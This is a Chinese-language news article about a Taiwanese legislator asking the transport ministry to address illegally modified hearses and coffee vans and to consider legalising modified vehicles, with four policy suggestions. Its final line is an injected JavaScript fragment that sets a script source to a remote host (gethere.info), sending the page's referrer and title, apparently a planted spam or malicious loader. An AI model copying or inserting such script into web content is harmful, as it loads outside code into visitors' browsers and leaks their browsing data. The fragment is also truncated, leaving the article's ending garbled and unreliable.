因民間習俗需要的運靈車,以及近年非常興盛的胖卡咖啡車,都存在著非法改裝的問題,立委今(10)要求交通部正視這些「」,並以政策角度思考改裝車合法化。

台灣去年死亡人數為16萬3822人,平均一天449人,但立委鄭運鵬指出,目前國內運靈車有合法領牌的,可坐10人的大型車有145輛、小型車72輛,合計只有217輛,業者估算,現下的運靈車約有8成都是不合法改裝。

經改裝的非法運靈車,是由同車款購入兩輛中古或報廢車,經過車體切割焊接,形成AB車合併,再掛上第3輛原車系牌照,需要驗車時,再把牌照歸還給第3輛車進行驗車。鄭運鵬說,雖然知道不合法,但因民眾有需求,且這種車不會開快,肇事率低,警方也不太可能會攔阻,但交通部不能因為沒納管就忽視。

鄭運鵬要求賀陳旦以政策的角度來看待這件事情,思考改裝車合法化,他指出,改裝車在國內外有市場需求,在台灣也有生產技術,更可以增加合理規費收入,交通部應該要訂出合理的規範。

鄭運鵬提出4點建議,改裝車只能由監理站驗車,不得委外代驗;鬆綁僵化檢測及審驗制度,訂出可行的車輛規格及安全標準;不以原裝新車為標準;限制改裝車行駛速限,禁上高速公路。s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + “;